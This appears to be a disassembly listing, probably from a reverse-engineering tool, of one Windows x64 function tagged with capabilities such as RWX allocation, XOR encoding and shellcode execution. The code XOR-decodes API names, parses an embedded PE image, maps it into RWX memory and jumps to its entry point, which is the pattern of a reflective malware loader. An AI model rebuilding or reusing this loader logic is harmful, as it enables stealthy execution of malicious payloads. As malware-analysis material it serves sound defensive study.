Function at 0x140001dd0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x17], rax
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
lea r14, [rbp + 0x5f]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rbp + 7], rdx
mov qword [rbp + 0xf], r14
mov r12, qword [r14]
xor r12, rdx
mov qword [rbp - 0x39], r12
mov qword [rbp - 1], r12
xor r15d, r15d
mov qword [r14], r15
mov r10d, 0x5a4d
mov edx, dword [0x140006080]
cmp dx, r10w
jne 0x14000229d
mov rax, qword [0x1400060bc]
cmp eax, 0x400
jg 0x14000229d
movsxd rdi, eax
lea r9, [0x140006080]
add rdi, r9
cmp dword [rdi], 0x4550
jne 0x14000229d
lea rcx, [rbp + 0x5f]
lea r11, [rbp + 0x5f]
mov r8, qword [r11]
cmp dx, r10w
je 0x140001e8d
mov qword [r11], r8
jmp 0x140001e9f
movsxd rbx, eax
add rbx, 0xb0
add rbx, r9
cmp dword [rbx], 0
jne 0x140001ea2
mov rbx, r15
mov qword [rcx], r15
mov r13, qword [rdi + 0x30]
mov qword [rbp - 0x31], r13
movups xmm0, xmmword [str.zAcYUXJmUXIp]
movups xmmword [rbp - 0x19], xmm0
mov eax, dword [0x1400042a0]
mov dword [rbp - 9], eax
movzx eax, byte [0x1400042a4]
mov byte [rbp - 5], al
movsd xmm0, qword [str.ZAR_T]
movsd qword [rbp - 0x49], xmm0
movzx eax, word [0x140004288]
mov word [rbp - 0x41], ax
cmp byte [0x140004289], 0
je 0x140001f14
mov byte [rbp - 0x49], 0x6e
xor byte [rbp - 0x48], 0x35
xor byte [rbp - 0x47], 0x36
xor byte [rbp - 0x46], 0x37
xor byte [rbp - 0x45], 0x38
xor byte [rbp - 0x44], 0x39
xor byte [rbp - 0x43], 0x3a
xor byte [rbp - 0x42], 0x3b
xor byte [rbp - 0x41], 0x3c
xor byte [rbp - 0x40], 0x3d
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r10, rax
cmp byte [rbp - 5], 0
je 0x1400020c3
mov r8d, r15d
cmp dword [0x140006050], 2
jl 0x14000207d
movdqa xmm5, xmmword [0x1400042f0]
movdqa xmm4, xmmword [0x140004340]
movdqa xmm6, xmmword [0x140004310]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x15]
mov edx, dword [rbp - 0x29]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140004320]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140004320]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140001f70
cmp r8d, 0x15
jge 0x1400020c3
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140002090
lea rdx, [rbp - 0x19]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rdi + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov edx, dword [rdi + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140002127
test rbx, rbx
je 0x14000229d
mov edx, dword [rdi + 0x50]
xor ecx, ecx
lea r9d, [rax + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x14000229d
mov qword [rdi + 0x30], rsi
mov r9d, dword [rdi + 0x54]
lea r10, [rbp + 0x5f]
mov r14, qword [r10]
mov qword [r10], r15
mov rcx, rsi
mov eax, r9d
shr eax, 2
lea rdx, [0x140006080]
sub rdx, rsi
test eax, eax
je 0x14000216f
mov r8d, eax
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rcx + rdx]
mov dword [rcx], eax
lea rcx, [rcx + 4]
sub r8, 1
jne 0x140002160
mov r8d, r9d
and r8d, 3
je 0x1400021a0
mov eax, r9d
sub eax, r8d
cmp eax, r9d
jae 0x1400021a0
mov ecx, eax
add rcx, rsi
nop dword [rax + rax]
movzx eax, byte [rcx + rdx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140002190
mov qword [r10], r14
xor eax, eax
cmp ax, word [rdi + 6]
jae 0x14000225f
lea r9, [rbp + 0x5f]
lea r11, [rdi + 0x11c]
xor r12d, r12d
lea r13, [0x140006080]
nop dword [rax]
nop dword [rax + rax]
mov ebx, dword [r11 - 4]
mov edx, dword [r11]
add rdx, r13
mov r10d, dword [r11 - 8]
add r10, rsi
mov qword [r9], r12
mov rcx, r10
mov eax, ebx
shr eax, 2
test eax, eax
je 0x140002214
mov r9, rdx
sub r9, r10
mov r8d, eax
nop dword [rax]
mov eax, dword [r9 + rcx]
mov dword [rcx], eax
lea rcx, [rcx + 4]
sub r8, 1
jne 0x140002200
lea r9, [rbp + 0x5f]
mov ecx, ebx
and ecx, 3
je 0x140002240
mov eax, ebx
sub eax, ecx
cmp eax, ebx
jae 0x140002240
add rax, r10
sub rdx, r10
mov r8d, ecx
nop dword [rax]
movzx ecx, byte [rax + rdx]
mov byte [rax], cl
lea rax, [rax + 1]
sub r8, 1
jne 0x140002230
mov qword [r9], r14
inc r15d
add r11, 0x28
movzx eax, word [rdi + 6]
cmp r15d, eax
jl 0x1400021d0
mov r12, qword [rbp - 0x39]
mov r13, qword [rbp - 0x31]
mov rcx, rsi
call fcn.140001080
cmp rsi, r13
je 0x14000227e
mov r9d, dword [rdi + 0x50]
mov r8, rsi
mov rdx, r13
mov rcx, rsi
call fcn.1400019a0
mov eax, dword [rdi + 0x28]
add rax, rsi
call rax
nop
movabs rax, 0xff00ff00ff00ff00
xor r12, rax
lea rax, [rbp + 0x5f]
mov qword [rax], r12
jmp 0x1400022af
movabs rax, 0xff00ff00ff00ff00
xor r12, rax
mov qword [r14], r12
xor al, al
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.140002380
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret